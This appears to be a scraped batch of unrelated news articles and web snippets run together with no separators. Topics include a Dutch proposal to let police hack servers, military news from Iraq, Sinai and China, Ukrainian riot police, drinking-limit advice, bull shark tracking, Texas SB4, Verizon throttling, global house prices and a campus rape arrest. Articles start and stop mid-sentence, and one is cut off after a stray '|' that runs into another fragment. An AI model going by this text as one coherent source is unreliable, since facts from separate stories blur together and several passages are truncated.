Evading online surveillance is becoming easier as more tools offering anonymous encrypted storage and communication become available. But the trend is starting to worry authorities.
Last week, the government in the Netherlands proposed a new law that would help it circumvent encryption by hacking into computers and infiltrating servers. In a lengthy letter, the country’s security and justice minister, Ivo Opstelten, said police were having difficult tracking down pedophiles posting images of child abuse online because they were allegedly using the anonymizing tool Tor. Tor allows users to mask their IP address by routing connections through a network of virtual tunnels.
Many law enforcement agencies today, including the FBI, have used spyware tools to monitor suspects. But what Opstelten is proposing is different. He doesn’t just want federal police in the Netherlands to have the power to install spyware to secretly intercept data before they are encrypted. He wants the county’s police to have the power to infiltrate servers and destroy data on computers even if they are potentially located in foreign jurisdictions. While there are already mutual legal assistance protocols in place across most Western democracies for such purposes, the rules differ from country to country. And in some cases, because suspects are using tools like Tor, it’s not actually possible to determine their location. So if Dutch police find a hidden Tor server containing “very harmful pornographic material,” for instance, Opstelten wants the authority to take control of the server and “render inaccessible” the data stored on it.
Such powers will have to be authorized beforehand by a magistrate, and the suspected crimes must be serious enough to carry a sentence of four or more years. However, granting police the ability to assert such control over the Web will sound alarm bells for Internet freedom advocates. The danger is that though the authorities say they want to target child abusers, down the line there could be a mission creep, with authorities using the same powers to infiltrate and take control over servers wherever they find content deemed offensive.
Many countries are anxious about their ability to effectively conduct surveillance when their suspects are increasingly using encrypted communication tools or cloud storage services located in foreign jurisdictions. Back in August I reported for Future Tense that a shift was underway to “harmonize” lawful interception laws across borders. This move is rapidly climbing up the political agenda, evidenced last week when a U.N. report called for universally agreed-upon data retention laws across member states. A report by the International Chamber of Commerce in September said the same but went further in recommending a centralized communications interception regime, with regulations and standards made to be consistent internationally.
So this is not only about the Netherlands. Domestic police forces pushing for more cross-border powers when it comes to surveillance and cybercrime will soon become the norm. In that sense, Opstelten’s proposal is a glimpse into the future.(IraqiNews.com) Nineveh – Al-Hashd al-Shaabi Command revealed on Saturday that extra US soldiers, in addition to Apache and Chinook aircraft arrived at Ayn al-Asad base, west of Anbar, in preparation for the liberation battle of Mosul.
The Intelligence Director of al-Somoud brigade, Captain Nazim al-Jaghifi, said in a press statement, “This morning, extra US military troops arrived at Ayn al-Asad base in Baghdadi vicinity, along with a drone that will be used for reconnaissance and bombing.”
“The air base also witnessed the opening of a runway for the drone, as well as receiving additional Apache and Chinook aircraft, in preparation for Mosul offensive in the coming few days.” Jaghifi explained.
A US newspaper revealed that Washington is seeking to reinforce its troops at Ayn al-Asad base, west of Ramadi, and pointed out that the highest number of air strikes were conducted on Anbar during the last three months. However, the focus will shift from Anbar to Mosul in the coming period, in order to prepare for the liberation battle of the city.The Ukrainian Interior Ministry has officially apologized and launched an internal inquiry after a video showing Berkut special forces ridiculing a naked Kiev rioter in freezing temperatures appeared on the internet.
Follow RT’s live updates on Kiev riots.
RT reporter films police beating protesters on the ground.
Photos of weaponry and armor used by rioters in Kiev.
The statement published on the ministry’s official website called the officers’ actions “unacceptable.”
The responsible officers will be found and “may even face criminal liability” for their behavior, Interior Ministry spokesman Sergey Burlakov told Vesti newspaper.
The controversial video was posted on the web on Thursday. It shows a man wearing only boots surrounded by a group of officers in the street.
Despite temperatures falling below -10 Celcius, the masked officers did not allow the man into the police van for over a minute.
The Berkut troops verbally abused the detainee, handing him an ice axe and posing for pictures with him.
Cuts and bruises can be clearly seen on the man in the footage. He was reportedly a Grushevskogo Street protester.
Warning: The video below contains graphic nudity
An unnamed Berkut officer told Vesti that the man in the video deserved harsh treatment because the police have been after him for the past two days.
“He was one of the most accurate throwers. He tossed Molotov cocktails at us and a lot of our guys got seriously hurt. We were tracking him for a long time, but eventually caught and undressed him. He was our ‘souvenir,’ a warning to the others,” the officer said.
Clashes between rioters and police in Kiev this week have seen the most violent manifestation of protests thus far. The demonstrations initially began two months ago after the government refused to sign an EU integration deal.
Two protesters have been killed and over 300 injured in the fighting, according to the opposition.
The Interior Ministry says that more than 250 of its officers have been wounded over the past four days. Over 100 of them have been hospitalized.3
You can set your limits very concretely. Your limits could be "four glasses of wine in six hours," "four beers a night," or "two mixed drinks a night" (depending on what's in them). Tell yourself what your limits are before you leave so that you're more likely to stick to them throughout the night.
If it's your first time out drinking, it's important to adopt a steady and slow pace, so that you can come to learn your alcohol tolerance.
Before all else, know yourself and your own limits. It doesn't take long to learn how little or how much alcohol you can tolerate and everybody is unique in its ability to tolerate alcohol. Listen to your body and respond in a way that nurtures it rather than abuses it. The first time you drink, you should drink with close friends in the comfort of your own home or their homes, so that you don't get socially overwhelmed. This will help you get a sense of what you can and can not handle.BULL sharks could be using Sydney Harbour as their love nest for mating before travelling up to 1800km to far north Queensland chasing food.
In one of the first major studies of larger bull sharks, 114 have been tagged and are tracked using acoustic tracking devices.
The tagged sharks, ranging in size between 80cm and 3.2m, regularly move across the NSW-Queensland border, travelling between 60km to 1770km across all months of the year.
“Long-range movements are not uncommon in sharks but knowledge of the extent and regularity with which these movements occur is often lacking,” the report said.
“Movements and habitat use by juvenile bull sharks has been well-documented but data on adult movements is limited.”
SHARK LEAPS FROM WATER DURING SURF CONTEST
media_camera A 3m bull shark caught in Sydney Harbour near Clifton Gardens / Picture: Craig Greenhill
The bull shark research, which is ongoing and backed by the DPI and Fisheries NSW, uses 326 acoustic receivers in Sydney Harbour, the Clarence River, Moreton Island, Lady Elliot Island and other locations.
“The longest moves were made by 17 individuals travelling from Sydney Harbour to the northern end of the Townsville reefs, a 1770km straight line distance,” the report said.
“The next most common long distance move was from Sydney Harbour to the Capricorn Bunker reefs (1150km) by nine individuals.”
media_camera A 3m bull shark caught in Sydney Harbour near Clifton Gardens.
The research suggests Sydney Harbour had become a location “used for mating” with a lack of neonates, or baby sharks in the estuary.
Once the bigger sharks, which can live in both salt and freshwater, move offshore, they are less likely to return to estuary mouths and change behaviours as they mature.
“The majority of individuals undertaking long-range movements were large juveniles or adults,” the report said.
The study is also analysing the impact of “no-fishing and no-entry zones” such as marine parks, on adult bull sharks moving along the east coast.
media_camera A 3m bull shark caught in Sydney Harbour near Clifton Gardens.
The data showed many adult bull sharks migrated to hunt off the Great Barrier Reef and the sharks “likely have a key role as large predators in coral reef environments”.
The bull sharks, whose preference for shallow waters make them more dangerous to humans, were caught using long lines and drop lines, with all sharks measured, checked for sex and having a V16 acoustic transmitter surgically implanted.Call of Duty Ghosts executive producer Mark Rubin has told EGDE that he thinks that making a brand new game, rather than creating a new Call of Duty game, would simply be an easy way out for the company. Rubin then went on to say that to change a Call of Duty game every year is something that’s a huge challenge for Infinity Ward internally.
“Yeah, there is a lot of pressure there. It would, in a sense, just be easier for us to go just make a brand new game that isn’t Call Of Duty, that doesn’t have any limitations. That would be the easy way out.”
“It’s actually much harder to know that you have something that’s very important to a lot of people, and a formula that people really love as it is. To change that every year is something that’s a huge challenge for us internally, but it drives a lot of our passion. We end up becoming our own biggest critics – when we ship, we postmortem what we did right and what we did wrong. We really tear it apart. That drives us to keep going on the franchise, and not take the easy way out, in a sense.”Egyptian security personnel check cars at a checkpoint near the site, where separate attacks on security forces in North Sinai on Thursday killed 30 people, in Arish, North Sinai, Egypt, January 31, 2015. REUTERS/Stringer
CAIRO, Jan. 8 (Aswat Masriya) – North Sinai security forces killed 14 militants and arrested 13 suspects within the framework of the “Martyr’s Right” military operation in Arish, Rafah and Sheikh Zuweid, said army spokesman on Friday.
This brings the total number of militants killed in the operation's second phase, over the past week, to 112, according to separate statements by military spokesman.
Aswat Masriya could not independently verify the content of the army statement. Anti-terrorism legislation imposes heavy fines on news organisations that contradict official statements.
The military operation’s first phase kicked off last September and was dubbed by the military as Egypt’s “largest” military action against “terrorists” in North Sinai. It has claimed the lives of more than 500 militants in the area.
Security forces have been engaged in a "war against terrorism" as militancy surged significantly in North Sinai since the military's ouster of former President Mohamed Mursi in July 2013, following mass protests against his rule.
Since October 2014, Sinai has been under a state of emergency, which was subjected to repeated renewals, following a large-scale militant attack on the Karm al-Qawadis checkpoint in Sheikh Zeweid, which resulted in the death of 33 Egyptian soldiers. The attack was later claimed by ISIS-affiliated "Sinai Province".China’s military has begun retrofitting single-warhead DF-5 intercontinental ballistic missiles with multiple, independently targetable re-entry vehicles, according to U.S. defense officials. The upgrading of the DF-5 missiles with multiple warheads, known as MIRVs, was detected by U.S. intelligence agencies within the past several months.
The addition of three warheads on the long-range missiles marks a significant shift for China’s nuclear arsenal that is increasing in both warheads and missile systems under a major buildup.
Analysts say the warhead upgrades could affect U.S. strategic nuclear deterrence strategy by requiring a boost in U.S. warheads in the future.
Strategic Command spokesman Lt. Col. Martin O’Donnell declined to comment on the impact of the MIRVed Chinese missiles.
Adm. Cecil Haney, commander of the Strategic Command, confirmed last month that China is making “significant investments” to both nuclear and conventional forces, including the addition of MIRVed missiles.
“China is re-engineering its long-range ballistic missiles to carry multiple nuclear warheads,” Adm. Haney said Jan. 22 in a speech.
Additionally, China recently showed off a new DF-26 intermediate-range missile that Beijing said can be armed with either nuclear or conventional warheads. The Chinese also conducted six successful tests of a hypersonic glide vehicle.
The four-star admiral said Chinese secrecy and the nuclear buildup are raising questions about the Chinese policy of not being the first to use nuclear weapons in conflict, while undermining stability.
“While China periodically reminds us of its ‘no first use’ nuclear policy, these developments — coupled with the Chinese intentional lack of transparency on nuclear issues, such as force, disposition and size — can impact regional and strategic stability,” Adm. Haney said.
Former Pentagon nuclear forces expert Keith Payne said the Chinese buildup highlights the failure of the Obama administration’s policy of seeking to reduce global nuclear arsenals by cutting U.S. weapons.
“If China continues to modernize its nuclear forces, including the MIRVing of its long-range ballistic missiles, it will have demonstrated the utter failure of the theory that the U.S. ‘moral example’ of continued nuclear reductions leads to nuclear reductions globally and, ultimately, to nuclear zero,” Mr. Payne told Inside the Ring.
The view that U.S. nuclear cuts promote global nuclear nonproliferation and disarmament appears to be a key tenet of U.S. strategic policy for years.
“China’s nuclear weapons programs, along with Russia’s, demonstrate as nothing else could the failure of that approach, and that we once again need to place priority on sustaining U.S. capabilities to deter attacks on ourselves and our allies,” Mr. Payne said. “The years of America’s nuclear indolence must now come to an end.”
Mark Stokes, a former Air Force officer and China weapons expert, said the DF-5 upgrade and the new MIRV missiles “certainly means a significant growth in the number of nuclear warheads that can reach us here in the greater Washington, D.C., area.”
Mr. Stokes, of the Project 2049 Institute, said the multiple-warhead DF-5B, an advanced variant, probably entered service several yeas ago, and that replacing all single-warhead, silo-based DF-5As with the multiple warheads was expected.
“Add the new mobile MIRVed ICBM to the mix, [and] this means a pretty significant growth over the next decade or so,” Mr. Stokes said, noting the DF-5s likely are being upgraded from one warhead to three MIRVs.
Rick Fisher, a China military analyst, said the uploading of DF-5 warheads means the Chinese probably are deploying additional DF-5s beyond the estimated total number of 20 missiles several years ago.
“When you add the possibility of MIRVed DF-5s exceeding 20, to the imminent deployment of the road-mobile and rail-mobile MIRVed DF-41, and the potential for a MIRVed version of the DF-31 called the DF-31B, it becomes possible to consider that China may reach 500 or more ICBM warheads in the next few years,” said Mr. Fisher, a senior fellow at the International Assessment and Strategy Center.
“This, combined with China aggressive development of missile defenses, space warfare capabilities and possible non-nuclear prompt global strike missiles, will quickly undermine confidence by U.S. allies in the extended U.S. nuclear deterrent,” he added.
The Pentagon should reverse the decision made by the George H.W. Bush administration in the 1990s to unilaterally withdraw U.S. tactical nuclear arms from U.S. ships, submarines and land-based forces in Asia, he said. “This will help to deter China from invading Taiwan as well as help to deter China’s ally, North Korea, from using its nuclear weapons.”
Infrastructure vulnerable to cyberattacks
Adm. Mike Rogers, director of the National Security Agency, revealed during a Senate hearing this week that the U.S. electrical, water and other infrastructure systems remain vulnerable to foreign cyberattacks despite efforts to secure them.
The NSA chief, who also heads the military’s U.S. Cyber Command, said during a hearing of the Senate Select Committee on Intelligence that gathering information on cyberthreats to infrastructure is only a part of the problem.
“I think the biggest challenge, in some ways, is not so much the level of insight, but it’s how do we take that insight and generate action and make the changes that I think we all believe are necessary,” Adm. Rogers said. “And so the challenge, I think, is how do we take those insights and generate action.”
The comments came in response to questioning from Sen. Martin Heinrich, New Mexico Democrat, who noted there had been a 20 percent increase in cyberattacks against infrastructure last year. “The world has seen a truly alarming increase in attacks on critical infrastructure,” Mr. Heinrich said.
Adm. Rogers said he has discussed the problems with people in the electrical power and water industries. Power companies are experimenting with micropower grids and “island-able” power grids, along with distributed storage and power generation, to mitigate the effects of a large-scale cyberattack.
The four-star admiral said the companies are “trying to go that way,” while cautioning that it “is not an insignificant challenge” given the size and scope of America’s infrastructure. Protecting the electric grids with redundant and resilient digital control systems should be part of a broader infrastructure security strategy.
But, the admiral warned, “I just try to remind people there’s no silver bullet here.”
Islamic State expanding to Libya
Senior U.S. intelligence officials confirmed reports Tuesday that Islamic State is aggressively expanding into Libya from its strongholds in Syria and Iraq.
CIA Director John O. Brennan told a hearing of the Senate Select Committee on Intelligence that Libya is the most important theater outside of Syria and Iraq for the Islamic State, also known as ISIL and ISIS.
“They have several thousand members there,” Mr. Brennan said. “They have absorbed some of the groups inside of Libya, including Ansar al Shariah, that was very active prior to ISIL’s rise.
“As the borders of the Syria-Iraq area were being tightened down, we know that some of those foreign fighters started to divert into Libya,” Mr. Brennan said, adding that the North African state has become a “magnet” for terrorists throughout Libya and elsewhere.
James R. Clapper, director of national intelligence, said Islamic State leaders want to control territory in Libya as they currently do in Syria and Iraq.
Libya is “essentially an ungoverned space” with substantial oil resources that is a tempting target for the jihadis, Mr. Clapper said. Islamic State terrorists in Libya currently are centered in the central Libyan coastal city of Sirte, “and they’re trying to spread out along the coast and take over more and more areas,” he said, adding that the group is “present” in major cities like Benghazi and Tripoli.
• Contact Bill Gertz on Twitter at @BillGertz.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Following the passage of Texas’ Senate Bill 4 – also known as the “anti sanctuary cities bill” – activists and allies are calling for a Summer of Resistance.
SB 4, which goes into effect September 1, mirrors the highly controversial “show me your papers” SB 1070 in Arizona by requiring law enforcement to cooperate with federal detainer requests and allowing officers to ask anyone they’ve detained about their immigration status. If officers (including those on college campuses) refuse to cooperate, they will be subject to Class A misdemeanor charges. The bill is so bad the ACLU has even issued a travel advisory for the entire state, warning citizens and non-citizens alike that traveling to Texas could lead to illegal harassment and intimidation by law enforcement.
Because of the passage of #SB4, we are issuing a Texas travel advisory. If your rights have been violated, call @ACLUTx at 1-888-507-2970. pic.twitter.com/dKxSAK8nKm — ACLU National (@ACLU) May 9, 2017
SB4 is basically the anti-feminist, anti-immigrant bill of our nightmares. Critics have drawn comparisons to Arizona’s SB 1070 – which required police to ask for documentation when there was “reasonable suspicion” someone was not in the U.S. legally. While key parts of SB 1070 have since been struck down, SB 4 makes use of its same discriminatory practices and policies. It turns police officers into immigration agents, giving them a license to racially profile, discriminate, and unjustly arrest those who fit the profile of a non-citizen.
It’s important to note that it’s not just police officers who will enforce these immigration laws. As Suzanne Gamboa at NBC explains, SB 4 also enlists public servants and members of local governing bodies in the effort. It prevents these individuals from adopting any policy meant to protect migrants and from standing in the way of federal immigration officers enforcing immigration laws. This is a full scale attack on migrants, their families, and communities – and Texas’ entire system of governance is now complicit.
As atrocious and fear-inducing as SB 4 is, immigrants and their supporters are not taking this sitting down. Jassary Rico and Chris Garcia – Austin high school students and children of migrants – started a petition hoping to protect sanctuary cities and stop SB 4. Noting an increased sense of anxiety, fear, and uncertainty among their family members and at their high school following the bill’s proposal, Jassary, Chris and their 34,181 supporters asked lawmakers to stop this dangerous bill and ensure the well being of all Texans. I spoke with them on the phone after the news that the bill has been signed into law, keeping in mind the immigration raids that took place last month in South and Central Texas.
“My parents are undocumented and now, they feel even more afraid to speak out, go outside, and communicate with police officers at all,” Jassary told me. Chris added that “everyone’s a lot more afraid now. Plans are being made because we have to be ready and prepared for what’s coming next.”
Fear in migrant communities is not new. But this bill makes it worse. It puts a target on the backs of migrants and all people who could be read as migrants, foreign, or other. Jassary, Chris, and other grassroots activists are raising awareness and mobilizing resources to prepare migrant communities in the coming months.
Yesterday, leaders from El Paso County and the cities of Dallas and Austin announced that they are moving forward with resolutions or litigation against SB 4 as soon as this week. Others are participating in the Summer of Resistance, 100 days of actions against SB 4, which will include everything from voter drives to acts of civil disobedience. Cristina Tzintzun, Executive Director of Jolt – a Texas based Latinx advocacy organization– said:
“In the 100 days leading up to the implementation of SB4 Latinos are coming together to register voters, educate the community about the impact of the law, and organizing public demonstrations and civil disobedience actions to put an end to SB 4.”
These announcements and actions follow a “Texas Moms Fight Back” Mother’s Day demonstration and other anti-SB 4 actions.
In response to this latest “show your papers” law, activists are showing their teeth. To borrow from Jassary, que siga la lucha.
Header image via Univision.GLOUCESTER COUNTY, Va. — Less than an hour after the Gloucester County Sheriff’s Office posted a missing person’s alert for a mother and her five children on Facebook, the woman and children were found safe. At 9 a.m. Thursday, sheriff’s investigators asked for help finding the family in the Holly Beach area of Gloucester. The family was last seen walking down the road and may have gotten in someone’s vehicle, the alert indicated.
About 45 minutes later however, investigators said the family had been found and the truth was revealed.
“The Gloucester County Sheriff’s Office with the assistance of the Virginia Marine Police’s fixed wing aircraft discovered the family at about 9:43 this morning walking down a dirt road near the area they were last scene yesterday,” the sheriff’s office posted to Facebook. “The mother reported to investigators that she and the kids went camping without notifying family members.”
The Gloucester County Sheriff’s Office thanked its Facebook fans for helping spread the word about the family.
“Gloucester’s care, concern and compassion for their fellow citizens is always a great source of comfort to us all here at the Gloucester County Sheriff’s Office,” the post concluded.WASHINGTON (Reuters) - Verizon Communications Inc defended its decision to slow data downloads for some customers using older unlimited data plans, telling U.S. regulators it was a “widely accepted” and lawful part of network management.
A sign hangs in the Verizon booth on the first day of the Consumer Electronics Show (CES) in Las Vegas January 8, 2013. REUTERS/Rick Wilking
In a letter dated Aug. 1, Verizon responded to U.S. Federal Communications Commission Chairman Tom Wheeler, who last week wrote Verizon Wireless Chief Executive Dan Mead to say he was “deeply troubled” by Verizon’s plans.
In July, Verizon said high speed wireless customers who subscribe to the company’s legacy unlimited data plans might experience slower speeds starting Oct. 1.
The company has a similar policy in place for customers on its slower 3G network.
“The type of network optimization policy that we follow has been endorsed by the FCC as a narrowly targeted way to ensure a fair allocation of capacity during times of congestion,” Kathleen Grillo, senior vice president of federal regulatory affairs at Verizon, said in the letter.
“In short this practice has been widely accepted with little or no controversy,” Grillo added in the letter, a copy of which was obtained by Reuters.
Verizon, the largest U.S. wireless carrier, noted that the practice of slowing down certain users’ networks in order to prevent congestion has been widely used by broadband providers and its competitors.
“We absolutely know that it was the right thing to do and we know that it was in line with the FCC’s principles,” Mead said on Monday, in a meeting with a group of journalists.
Wheeler’s reprimand of Verizon came as he is seeking to establish himself as a strong defender of web users’ interests and someone prepared to punish Internet service providers whose business practices may hurt consumers or competition.
His efforts follow the FCC’s proposal of new “net neutrality” rules that guide how broadband providers manage web traffic on their networks, which has drawn fire from consumer advocates, the public and some Internet companies.
Verizon added that while its high speed network has great advantage over its slower 3G network, its capacity remains shared and limited.
Verizon stopped offering unlimited plans in 2012. U.S. wireless carriers have been working to shift their increasingly data-hungry subscribers onto tiered pricing plans, which charge customers for specific amounts of data they agree to consume.There’s not a lot that’s funny about President Trump’s January 27 executive order temporarily banning immigrants and refugees from seven majority Muslim countries.
But you have to admit this is a little funny: Trump’s executive order |
early on Saturday, when she alleges she was set upon.
Tweeting under the name Aniso Abdulkadir, she posted a picture of the man who allegedly attacked her, writing: “This man at Baker Street station forcefully attempted to pull my hijab off and when I instinctively grabbed ahold of my scarf he hit me.”
She continued: “He proceeded to verbally abuse my friends and I, pinning one of them against the wall and spitting in her face.”
Abdulkadir added that a woman who was present was also threatening and verbally abusive.
She urged others to share the image in order to identify the suspect, earning more than 24,000 retweets by Sunday afternoon.
A British Transport Police spokesman said the incident was being investigated as a hate crime, adding: “Behaviour like this is totally unacceptable and will not be tolerated.
“This incident has been reported to us and we’re investigating.”
However, a man claiming to be the man in the image tweeted on Sunday to protest his innocence, claiming he had been defending his partner from what he called a “racist attack”.
He said the allegation against him was “completely false”.
Pawel Uczciwek wrote: “I would like to confirm I never hit or attacked anyone I simply defused the situation by separating them.
“The police is fully cooperating with me and will be able to obtain CCTV footage showing the three women attempting to attack my partner because we are in an interracial relationship.”
Inquiries are under way and anyone with information is asked to text 61016 or call 0800 40 50 40.Knight Frank Global House Price Index (annual % growth)
Key Highlights:
Global house price inflation continues to slow, with annual growth standing at 4.8% during Q2 2008, down from 6.1% in the previous quarter
Lithuania, Denmark and New Zealand have joined the group of countries where house prices are now falling quickly
Prices in Latvia continue to plummet, with values now 24.1% below the same time last year, the steepest drop in the index
For the fourth consecutive quarter Bulgaria tops the index, with growth of 32.2% over the year
Slovakia, Russia, the Czech Republic and Hong Kong all recorded strong annual growth of over 25%
Annual residential property price inflation fell to 4.8% during the second quarter of 2008, down from 6.1% in the first quarter of the year. Prices are now falling in almost half the markets listed in the Knight Frank Global House Price Index, although growth rates in double figures are still being recorded in eight markets – Bulgaria, Slovakia, Russia, the Czech Republic, Hong Kong, Singapore, Cyprus and Colombia. Nevertheless, this presents a considerable contrast to a year ago, when double-figure house price inflation was seen in over a third of the markets covered. The economies of central and south-eastern Europe appear to be the strongest performers, while northern Europe (including the Baltic States), together with the United States, are suffering the most.
Nick Barnes, head of international research, Knight Frank, commented:“The Knight Frank Global House Price Index shows that global house price inflation is continuing to fall back, with much of continental Europe now seeing low or negative growth. Nevertheless, performance is very varied, with prices still rising rapidly in several locations in Asia and Eastern Europe.
“Bulgaria is at the head of this list, where values have grown at 32.3% over the past year, and have now risen by 68% over the past two years. Admittedly this occurred from a low base, but demand from international investors and domestic economic growth remain strong, although there are fears of oversupply, particularly in the resort locations. Strong performance in Slovakia and the Czech Republic is also driven by robust economic growth.
“The rapidly depreciating housing markets of the Baltic States – led by Latvia, where prices fell by 24.1% over the past year, demonstrate that rising inflation and mortgage costs are real risks for the emerging economies of Europe, particularly those that have seen high levels of investment activity over recent years. However, housing markets in countries such as Spain, Denmark, the UK and Ireland are all being severely challenged by the global credit squeeze.”
The country by country summary that follows provides an insight to the shifts currently taking place in house prices across the world:
Europe:
Since Q2 2007, foreign direct investment and a growing manufacturing base have combined with its appeal as a holiday home location to make Bulgaria the best performing location in the Knight Frank Global House Price Index. Its current annual growth of 32.2% is only slightly lower than the 33.7% recorded in the first quarter.
A booming economy – GDP rose by 10.4% in 2007 alone – is the major factor behind the performance of Slovakia, where prices have grown by 25.4% over the past year. The highest rates of growth were seen in Košice (58.6%), Nitra (58.1%) and Prešov (54.8%), while the Bratislava region showed an increase of 27.2%. Flats (34.2%) have gone up in value far faster than houses (18.5%) and villas (3.2%). Economic growth in the neighbouring Czech Republic was more modest at 6.6%, but property prices have still grown at 25.4% over the past year. However, the Czech economy is likely to slow over the next few years, and there are already signs of a downturn in the housing market.
Price growth in Russia has picked up speed over the past quarter and now stands at 26.5%, compared to 21.7% during the first quarter of the year. Growth was highest in the Republic of Khaksiya (88.2%), whereas prices fell by 8.2% in the Chechen Republic. Growth in St Petersburg (41.5%) and Moscow (18.2%) was also strong, driven, as elsewhere, by rising wages and the increasing importance of the country's natural resources.
Rising tourist and second home demand continues to push prices upwards in both Croatia (5.8%) and Cyprus (12.9%). There are signs that the latter market is beginning to plateau, but locations such as Limassol are still attracting buyers and seeing steep price rises.
Latvia continues to report the highest house price falls in the Knight Frank Global House Price Index, with values now 24.1% lower than a year ago. However, along with Estonia (-16%), the rate of decline is beginning to moderate. Both countries are experiencing high inflation and mortgage rates combined with a slowing economy and pessimism over the outlook for property prices. Prices in nearby Lithuania are now showing negative growth of 9.9%, and its situation is rapidly becoming comparable to its neighbours.
Denmark appears to be suffering most of all the Western European economies, with annual price falls now amounting to 9.6%, according to the Knight Frank Global House Price Index. The Danish market peaked in the third quarter of 2006, and the slowdown began earlier here than elsewhere. The root causes are a slowing economy and increasing problems with interest rates and mortgage finance – a crisis highlighted by the high-profile rescue of Roskilde Bank earlier this year in the wake of £1bn of losses from bad debt, concentrated in the housing sector. Two thirds of Danish Banks are on a ‘watch list' composed by the Danish Financial Oversight Institute. The downturn in Ireland, which also began earlier than most, is continuing with prices now 8.1% below last year's level. Prices in Norway are flat but there are signs that the economy is slowing and inflation is rising, which could leave the market vulnerable to price falls.
The slowdown in the United Kingdom market is continuing. Although prices at the end of Q2 were only 3.9% lower than at the same point in the previous year, sales volumes are at the lowest level seen since the 1990s, with mortgage finance still very difficult to obtain. The prospects for the UK economy over 2009 are not optimistic, and it is unlikely that prices will recover until 2010. However, employment remains high and there are few forced sellers.
Prices in Germany show an annual fall of 2.5%, down from 4.4% at the same time last year, and the rate of price falls is declining on a quarterly basis. There is less demand for owner-occupied property in Germany than in many other European countries and there is no shortage of supply. The economy is also slowing. Industrial orders have fallen for six months in the row, the worst run since the early
1990s. The German Chamber of Industry and Commerce has warned of up to 200,000 job losses in coming months.
The well-publicised problems in Spain have not yet fed into house price statistics, and the Knight Frank Global House Price index reports a rise of 2.4%. So far, price falls have been concentrated in the coastal resorts and among new developments in the larger cities, and the changing climate here has not yet influenced the figure listed in the index. Spain looks likely to fall into recession later this year, and house sales fell steeply during June. The number of sales dropped by 34.3% in May and 29.6% in June, suggesting that wider price falls could be imminent.
Asia Pacific:
Prices in Singapore fell by 2.0% during a quarter in which its economy shrank by 6.6%, bringing annual growth to 16.3%, down from 29.9% three months ago. Rising inflation will further reduce purchasing power, and could lead to further price falls. Hong Kong is now the most rapidly appreciating property market in the region, with annual growth amounting to 25.1%. Economic growth remains strong but is expected to ease over the next year.
In China, property prices rose by 1.1% during the quarter, meaning that annual growth in the country is now 9.2%, compared to 7.1% at the same point last year. The rate of increase has slowed slightly, which can be attributed to the government clamping down on mortgage lending, in an attempt to prevent overinvestment and excessive construction activity. Despite increasing concerns, export and GDP growth remains strong in the country. New house price growth remains high in north-western Urumqi (20.2%), southern Haikou (18.1%), eastern Ningbo (14.7%), Hangzhou (13.3%) and Beijing (14.3%).
Indonesia is experiencing a cooling housing market, with prices rising by just 0.9% over the quarter. Annual house price inflation is now 4.4%. There are concerns that the market is oversupplied as a result of the construction boom of recent years.
Australia has experienced a downturn in house price growth over the past quarter, with values dropping by 0.8%. Annual growth has now dropped to 9.0%, from 13.8% during the first quarter of the year. The Reserve Bank of Australia has increased its target cash rate to 7.25%, the highest level since 1994 (reduced it to 7%, Tues, Sept 02, 2008 - Finfacts). In combination with a general tightening of lending rates and criteria among domestic banks, this has dampened activity throughout the market. Rates should decrease towards the end of the year, but it will be some time before this has any effect. Prices in New Zealand are sliding slowly, having fallen by 2.2% during the quarter. House prices are high compared to income and the country is pessimistic about the prospects for further price growth.
The Americas:
Prices continue to fall in the United States. Values fell by 3.3% during the second quarter of 2008, contributing to an annual decline of 16.8%, the second largest fall in the Knight Frank Global House Price Index. However, prices are still rising in some states, including Oklahoma (4.9%). States such as California and Florida have witnessed falls of more than 12%. There are signs of recovery in cities such as Denver, Boston, Charlotte and Dallas, although according to some measures prices fell by over a quarter over the last year in Las Vegas, Miami, Phoenix and Los Angeles. Continuing problems with accessing finance and the ongoing crisis in the ‘sub-prime' sector continue to haunt the market.
According to the Knight Frank Global House Price Index, Canada saw prices grow by 1.8% during the second quarter of 2008. Prices are now 4.8% higher than a year ago. There are signs, however, that the market is beginning to weaken. Prices in Calgary and Edmonton dropped by 8% and 5% respectively. Meanwhile, sales have dropped by over 10% over the past year and the number of new listings has increased by over 11%.
Africa:
According to the Knight Frank Global House Price Index, prices in South Africa rose by 3.8% over the past year, the lowest rate since the third quarter of 1999. In real terms, prices have been falling since the beginning of the year: growth during the past quarter was just 0.1%. Double-digit inflation has forced a 5 percentage point rise in the base rate, which has severely dented affordability. South African consumers are highly indebted and it seems likely that prices will fall slightly in the near future.Juvenile Yellow-crowned Night-Heron
In Albums:nature birds Philadelphia
Jun 29th, 2012, by Alex Zorach
This photo shows a juvenile yellow-crowned night-heron (see Wikipedia or Cornell Lab of Ornithology for more about this species).
This bird was spotted on July 29th, 2012, in Cobbs Creek Park, Philadelphia. This photo was taken from the bridge across the creek, near the Environmental Education Center at the end of Catharine street. This is the most unusual bird I've seen this year, since the end of fall migration. This bird is probably a year-round resident in Philadelphia county, but is infrequently reported, probably owing to its usually nocturnal habits. eBird had no records in June, and no records at this site or nearby.
I quickly identified this bird as a juvenile night heron by its heavily streaked, camoflaged plumage and large, red eye. I first thought that it would be a black-crowned night heron, because the black-crowned species is more likely to be active during the day, and is more common in this area. But upon actually examining the bird it is clear that it is a yellow-crowned night-heron, not black-crowned. Some of the distinguishing characteristics:UC Santa Barbara Police arrested one man Wednesday in connection with the February 2014 violent rape and assault of a UCSB student.
Daniel J. Chen, 21, of San Ramon, Calif., was arrested by UCSB Police Wednesday and charged with four felonies: rape by means of force, violence, duress, menace, or fear of immediate and unlawful bodily injury; rape in cooperation with another person; battery; and false imprisonment.
Chen is being held in Santa Barbara County Jail without bail. He was arrested in Alameda County in January on an unrelated felony charge, according to the press release, and his DNA was matched to DNA from the crime scene, next to UCSB’s track.
Chen’s Facebook profile says he graduated from Northgate High School in Walnut Creek, Calif. in 2012. Chen attended UCSB from September 2012 to December 2013, according to UCPD.
The female victim was raped and assaulted by three men in the early hours of Feb. 23, 2014, after being taken from Isla Vista to a secluded location next to UCSB’s track. Shortly after the incident, UCPD released a sketch of two of the three suspects, depicting two Asian men.
The victim of the crime filed a lawsuit against the University of California in January alleging that the area of the attack was not properly maintained by the university, UCSB’s Police Department had not properly investigated the case and that UCSB “skewed” its sexual assault figures to attract prospective students.
In January, Tyrone Maho, an attorney for the victim, told the Daily Nexus he hoped the lawsuit would reinvigorate the university’s investigation into the assault.
“Our hope with this whole thing is not only to draw attention to what the university did to basically allow this activity to take place … but also to help with the appeal to find the perpetrators because it has been two years and UC police have not found the suspects,” Maho said in January.
